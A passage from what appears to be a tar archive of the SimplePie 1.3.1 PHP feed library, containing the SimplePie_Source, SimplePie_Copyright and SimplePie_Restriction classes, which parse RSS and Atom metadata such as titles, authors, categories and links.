				static $separator_length;
				if (!$separator_length)
				{
					$separator_length = strlen($this->separator);
				}
				$namespace = substr($string, 0, $pos);
				$local_name = substr($string, $pos + $separator_length);
				if (strtolower($namespace) === SIMPLEPIE_NAMESPACE_ITUNES)
				{
					$namespace = SIMPLEPIE_NAMESPACE_ITUNES;
				}

				// Normalize the Media RSS namespaces
				if ($namespace === SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG ||
					$namespace === SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG2 ||
					$namespace === SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG3 ||
					$namespace === SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG4 ||
					$namespace === SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG5 )
				{
					$namespace = SIMPLEPIE_NAMESPACE_MEDIARSS;
				}
				$cache[$string] = array($namespace, $local_name);
			}
			else
			{
				$cache[$string] = array('', $string);
			}
		}
		return $cache[$string];
	}
}
Source.php000066600000050073151273307470006537 0ustar00<?php
/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @version 1.3.1
 * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Geoffrey Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

/**
 * Handles `<atom:source>`
 *
 * Used by {@see SimplePie_Item::get_source()}
 *
 * This class can be overloaded with {@see SimplePie::set_source_class()}
 *
 * @package SimplePie
 * @subpackage API
 */
class SimplePie_Source
{
	var $item;
	var $data = array();
	protected $registry;

	public function __construct($item, $data)
	{
		$this->item = $item;
		$this->data = $data;
	}

	public function set_registry(SimplePie_Registry $registry)
	{
		$this->registry = $registry;
	}

	public function __toString()
	{
		return md5(serialize($this->data));
	}

	public function get_source_tags($namespace, $tag)
	{
		if (isset($this->data['child'][$namespace][$tag]))
		{
			return $this->data['child'][$namespace][$tag];
		}
		else
		{
			return null;
		}
	}

	public function get_base($element = array())
	{
		return $this->item->get_base($element);
	}

	public function sanitize($data, $type, $base = '')
	{
		return $this->item->sanitize($data, $type, $base);
	}

	public function get_item()
	{
		return $this->item;
	}

	public function get_title()
	{
		if ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'title'))
		{
			return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_10_construct_type', array($return[0]['attribs'])), $this->get_base($return[0]));
		}
		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'title'))
		{
			return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_03_construct_type', array($return[0]['attribs'])), $this->get_base($return[0]));
		}
		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'title'))
		{
			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
		}
		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'title'))
		{
			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
		}
		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'title'))
		{
			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
		}
		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_11, 'title'))
		{
			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
		}
		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_10, 'title'))
		{
			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
		}
		else
		{
			return null;
		}
	}

	public function get_category($key = 0)
	{
		$categories = $this->get_categories();
		if (isset($categories[$key]))
		{
			return $categories[$key];
		}
		else
		{
			return null;
		}
	}

	public function get_categories()
	{
		$categories = array();

		foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'category') as $category)
		{
			$term = null;
			$scheme = null;
			$label = null;
			if (isset($category['attribs']['']['term']))
			{
				$term = $this->sanitize($category['attribs']['']['term'], SIMPLEPIE_CONSTRUCT_TEXT);
			}
			if (isset($category['attribs']['']['scheme']))
			{
				$scheme = $this->sanitize($category['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
			}
			if (isset($category['attribs']['']['label']))
			{
				$label = $this->sanitize($category['attribs']['']['label'], SIMPLEPIE_CONSTRUCT_TEXT);
			}
			$categories[] = $this->registry->create('Category', array($term, $scheme, $label));
		}
		foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'category') as $category)
		{
			// This is really the label, but keep this as the term also for BC.
			// Label will also work on retrieving because that falls back to term.
			$term = $this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT);
			if (isset($category['attribs']['']['domain']))
			{
				$scheme = $this->sanitize($category['attribs']['']['domain'], SIMPLEPIE_CONSTRUCT_TEXT);
			}
			else
			{
				$scheme = null;
			}
			$categories[] = $this->registry->create('Category', array($term, $scheme, null));
		}
		foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_11, 'subject') as $category)
		{
			$categories[] = $this->registry->create('Category', array($this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null));
		}
		foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_10, 'subject') as $category)
		{
			$categories[] = $this->registry->create('Category', array($this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null));
		}

		if (!empty($categories))
		{
			return array_unique($categories);
		}
		else
		{
			return null;
		}
	}

	public function get_author($key = 0)
	{
		$authors = $this->get_authors();
		if (isset($authors[$key]))
		{
			return $authors[$key];
		}
		else
		{
			return null;
		}
	}

	public function get_authors()
	{
		$authors = array();
		foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'author') as $author)
		{
			$name = null;
			$uri = null;
			$email = null;
			if (isset($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data']))
			{
				$name = $this->sanitize($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
			}
			if (isset($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data']))
			{
				$uri = $this->sanitize($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]));
			}
			if (isset($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data']))
			{
				$email = $this->sanitize($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
			}
			if ($name !== null || $email !== null || $uri !== null)
			{
				$authors[] = $this->registry->create('Author', array($name, $uri, $email));
			}
		}
		if ($author = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'author'))
		{
			$name = null;
			$url = null;
			$email = null;
			if (isset($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data']))
			{
				$name = $this->sanitize($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
			}
			if (isset($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data']))
			{
				$url = $this->sanitize($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]));
			}
			if (isset($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data']))
			{
				$email = $this->sanitize($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
			}
			if ($name !== null || $email !== null || $url !== null)
			{
				$authors[] = $this->registry->create('Author', array($name, $url, $email));
			}
		}
		foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_11, 'creator') as $author)
		{
			$authors[] = $this->registry->create('Author', array($this->sanitize($author['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null));
		}
		foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_10, 'creator') as $author)
		{
			$authors[] = $this->registry->create('Author', array($this->sanitize($author['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null));
		}
		foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'author') as $author)
		{
			$authors[] = $this->registry->create('Author', array($this->sanitize($author['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null));
		}

		if (!empty($authors))
		{
			return array_unique($authors);
		}
		else
		{
			return null;
		}
	}

	public function get_contributor($key = 0)
	{
		$contributors = $this->get_contributors();
		if (isset($contributors[$key]))
		{
			return $contributors[$key];
		}
		else
		{
			return null;
		}
	}

	public function get_contributors()
	{
		$contributors = array();
		foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'contributor') as $contributor)
		{
			$name = null;
			$uri = null;
			$email = null;
			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data']))
			{
				$name = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
			}
			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data']))
			{
				$uri = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]));
			}
			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data']))
			{
				$email = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
			}
			if ($name !== null || $email !== null || $uri !== null)
			{
				$contributors[] = $this->registry->create('Author', array($name, $uri, $email));
			}
		}
		foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'contributor') as $contributor)
		{
			$name = null;
			$url = null;
			$email = null;
			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data']))
			{
				$name = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
			}
			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data']))
			{
				$url = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]));
			}
			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data']))
			{
				$email = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
			}
			if ($name !== null || $email !== null || $url !== null)
			{
				$contributors[] = $this->registry->create('Author', array($name, $url, $email));
			}
		}

		if (!empty($contributors))
		{
			return array_unique($contributors);
		}
		else
		{
			return null;
		}
	}

	public function get_link($key = 0, $rel = 'alternate')
	{
		$links = $this->get_links($rel);
		if (isset($links[$key]))
		{
			return $links[$key];
		}
		else
		{
			return null;
		}
	}

	/**
	 * Added for parity between the parent-level and the item/entry-level.
	 */
	public function get_permalink()
	{
		return $this->get_link(0);
	}

	public function get_links($rel = 'alternate')
	{
		if (!isset($this->data['links']))
		{
			$this->data['links'] = array();
			if ($links = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'link'))
			{
				foreach ($links as $link)
				{
					if (isset($link['attribs']['']['href']))
					{
						$link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate';
						$this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($link));
					}
				}
			}
			if ($links = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'link'))
			{
				foreach ($links as $link)
				{
					if (isset($link['attribs']['']['href']))
					{
						$link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate';
						$this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($link));

					}
				}
			}
			if ($links = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'link'))
			{
				$this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0]));
			}
			if ($links = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'link'))
			{
				$this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0]));
			}
			if ($links = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'link'))
			{
				$this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0]));
			}

			$keys = array_keys($this->data['links']);
			foreach ($keys as $key)
			{
				if ($this->registry->call('Misc', 'is_isegment_nz_nc', array($key)))
				{
					if (isset($this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key]))
					{
						$this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key] = array_merge($this->data['links'][$key], $this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key]);
						$this->data['links'][$key] =& $this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key];
					}
					else
					{
						$this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key] =& $this->data['links'][$key];
					}
				}
				elseif (substr($key, 0, 41) === SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY)
				{
					$this->data['links'][substr($key, 41)] =& $this->data['links'][$key];
				}
				$this->data['links'][$key] = array_unique($this->data['links'][$key]);
			}
		}

		if (isset($this->data['links'][$rel]))
		{
			return $this->data['links'][$rel];
		}
		else
		{
			return null;
		}
	}

	public function get_description()
	{
		if ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'subtitle'))
		{
			return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_10_construct_type', array($return[0]['attribs'])), $this->get_base($return[0]));
		}
		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'tagline'))
		{
			return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_03_construct_type', array($return[0]['attribs'])), $this->get_base($return[0]));
		}
		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'description'))
		{
			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
		}
		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'description'))
		{
			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
		}
		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'description'))
		{
			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
		}
		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_11, 'description'))
		{
			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
		}
		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_10, 'description'))
		{
			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
		}
		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'summary'))
		{
			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_HTML, $this->get_base($return[0]));
		}
		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'subtitle'))
		{
			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_HTML, $this->get_base($return[0]));
		}
		else
		{
			return null;
		}
	}

	public function get_copyright()
	{
		if ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'rights'))
		{
			return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_10_construct_type', array($return[0]['attribs'])), $this->get_base($return[0]));
		}
		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'copyright'))
		{
			return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_03_construct_type', array($return[0]['attribs'])), $this->get_base($return[0]));
		}
		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'copyright'))
		{
			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
		}
		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_11, 'rights'))
		{
			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
		}
		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_10, 'rights'))
		{
			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
		}
		else
		{
			return null;
		}
	}

	public function get_language()
	{
		if ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'language'))
		{
			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
		}
		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_11, 'language'))
		{
			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
		}
		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_10, 'language'))
		{
			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
		}
		elseif (isset($this->data['xml_lang']))
		{
			return $this->sanitize($this->data['xml_lang'], SIMPLEPIE_CONSTRUCT_TEXT);
		}
		else
		{
			return null;
		}
	}

	public function get_latitude()
	{
		if ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO, 'lat'))
		{
			return (float) $return[0]['data'];
		}
		elseif (($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', trim($return[0]['data']), $match))
		{
			return (float) $match[1];
		}
		else
		{
			return null;
		}
	}

	public function get_longitude()
	{
		if ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO, 'long'))
		{
			return (float) $return[0]['data'];
		}
		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO, 'lon'))
		{
			return (float) $return[0]['data'];
		}
		elseif (($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', trim($return[0]['data']), $match))
		{
			return (float) $match[2];
		}
		else
		{
			return null;
		}
	}

	public function get_image_url()
	{
		if ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'image'))
		{
			return $this->sanitize($return[0]['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI);
		}
		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'logo'))
		{
			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($return[0]));
		}
		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'icon'))
		{
			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($return[0]));
		}
		else
		{
			return null;
		}
	}
}

Copyright.php000066600000006447151273307470007255 0ustar00<?php
/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @version 1.3.1
 * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Geoffrey Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

/**
 * Manages `<media:copyright>` copyright tags as defined in Media RSS
 *
 * Used by {@see SimplePie_Enclosure::get_copyright()}
 *
 * This class can be overloaded with {@see SimplePie::set_copyright_class()}
 *
 * @package SimplePie
 * @subpackage API
 */
class SimplePie_Copyright
{
	/**
	 * Copyright URL
	 *
	 * @var string
	 * @see get_url()
	 */
	var $url;

	/**
	 * Attribution
	 *
	 * @var string
	 * @see get_attribution()
	 */
	var $label;

	/**
	 * Constructor, used to input the data
	 *
	 * For documentation on all the parameters, see the corresponding
	 * properties and their accessors
	 */
	public function __construct($url = null, $label = null)
	{
		$this->url = $url;
		$this->label = $label;
	}

	/**
	 * String-ified version
	 *
	 * @return string
	 */
	public function __toString()
	{
		// There is no $this->data here
		return md5(serialize($this));
	}

	/**
	 * Get the copyright URL
	 *
	 * @return string|null URL to copyright information
	 */
	public function get_url()
	{
		if ($this->url !== null)
		{
			return $this->url;
		}
		else
		{
			return null;
		}
	}

	/**
	 * Get the attribution text
	 *
	 * @return string|null
	 */
	public function get_attribution()
	{
		if ($this->label !== null)
		{
			return $this->label;
		}
		else
		{
			return null;
		}
	}
}

Restriction.php000066600000007330151273307470007602 0ustar00<?php
/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @version 1.3.1
 * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Geoffrey Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

/**
 * Handles `<media:restriction>` as defined in Media RSS
 *
 * Used by {@see SimplePie_Enclosure::get_restriction()} and {@see SimplePie_Enclosure::get_restrictions()}
 *
 * This class can be overloaded with {@see SimplePie::set_restriction_class()}
 *
 * @package SimplePie
 * @subpackage API
 */
class SimplePie_Restriction
{
	/**
	 * Relationship ('allow'/'deny')
	 *
	 * @var string
	 * @see get_relationship()
	 */
	var $relationship;

	/**
	 * Type of restriction
	 *
	 * @var string
	 * @see get_type()
	 */
	var $type;

	/**
	 * Restricted values
	 *
	 * @var string
	 * @see get_value()
	 */
	var $value;

	/**
	 * Constructor, used to input the data
	 *
	 * For documentation on all the parameters, see the corresponding
	 * properties and their accessors
	 */
	public function __construct($relationship = null, $type = null, $value = null)
	{
		$this->relationship = $relationship;
		$this->type = $type;
		$this->value = $value;
	}

	/**
	 * String-ified version
	 *
	 * @return string
	 */
	public function __toString()
	{
		// There is no $this->data here
		return md5(serialize($this));
	}

	/**
	 * Get the relationship
	 *
	 * @return string|null Either 'allow' or 'deny'
	 */
	public function get_relationship()
	{
		if ($this->relationship !== null)
		{
			return $this->relationship;
		}
		else
		{
			return null;
		}
	}

	/**
	 * Get the type
	 *
	 * @return string|null
	 */
	public function get_type()
	{
		if ($this->type !== null)
		{
			return $this->type;
		}
		else
		{
			return null;
		}
	}

	/**
	 * Get the list of restricted things
	 *
	 * @return string|null
	 */
	public function get_value()
	{
		if ($this->value !== null)
		{
			return $this->value;
		}
		else
		{
			return null;
		}
	}
}
Exception.php000066600000004213151273307470007230 0ustar00<?php
/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
